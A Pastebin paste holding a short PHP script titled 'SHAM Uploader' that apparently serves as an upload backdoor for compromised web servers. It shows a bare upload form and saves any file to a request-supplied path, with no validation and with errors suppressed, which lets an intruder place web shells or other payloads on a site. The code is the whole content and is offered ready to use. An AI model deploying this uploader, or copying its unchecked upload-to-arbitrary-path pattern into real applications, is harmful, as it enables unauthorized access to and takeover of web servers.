Advertisement
Guest User

sample uploader

a guest
Aug 29th, 2016
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.59 KB | None | 0 0
  1. <?php
  2. echo '
  3. <html><head><title>SHAM Uploader,</title>
  4. </head><body>
  5. <form method=POST enctype="multipart/form-data">
  6. <input type="file" name="files">
  7. <input type=submit value="Up">
  8. </form></body></html>';
  9.  
  10. $files = @$_FILES["files"];
  11. if ($files["name"] != "") {
  12. $fullpath = $_REQUEST["path"] . $files["name"];
  13. if (move_uploaded_file($files["tmp_name"], $fullpath)) {
  14. echo "<font face=\"Courier New\">[+] Uploaded succsessfully <a href=\"$fullpath\">[>>]</a></font>";
  15. } else
  16. {
  17. echo "<font face=\"Courier New\">[-] Uploaded Faild :/ !</font>";
  18. }
  19. }
  20. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement